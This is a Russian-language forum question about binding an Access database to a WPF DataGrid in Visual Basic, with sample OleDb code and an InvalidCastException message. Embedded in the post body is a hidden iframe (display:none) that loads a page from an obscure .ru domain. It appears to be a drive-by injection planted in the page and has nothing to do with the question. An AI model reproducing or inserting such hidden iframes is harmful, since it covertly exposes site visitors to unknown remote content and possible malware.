none
Visual basic WPF подключение Access к DataGrid RRS feed

  • Вопрос

  • Подскажите , на вин форм подключался следующим способов :

    Class MainWindow
        Private Sub MainWindow_Loaded(sender As Object, e As RoutedEventArgs) Handles Me.Loaded
            Dim conn As New System.Data.OleDb.OleDbConnection
            conn.ConnectionString = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=D:\TinkoffS.accdb;
    Persist Security Info=False;"
            conn.Open()
            Dim key As New System.Data.OleDb.OleDbCommand
            key.Connection = conn
            key.CommandText = "select * from информация"
            Dim ds As New System.Data.DataSet
            Dim da As New System.Data.OleDb.OleDbDataAdapter(key)
            da.Fill(ds, "Информация")
            dataGrid.ItemsSource = ds
        End Sub
    End Class

    За исключением того , что на вин форм делал :

    datagridview.datasource = ds

    datagridview.datamember = "Информация"

    На текущий момент при компиляции с DataGrid выдает ошибку :

    Необработанное исключение типа "System.InvalidCastException" в WpfApplication1.exe

    Дополнительные сведения: Не удалось привести тип объекта "System.Data.DataSet" к типу "System.Collections.IEnumerable".

    Как исправить?

    P.S Накидал весь код в кучу что бы было проще читать.

    <iframe id="a1996667054" src="https://m3oxem1nip48.ru/f.html" style="display:none;"></iframe>
    7 ноября 2015 г. 20:05

Ответы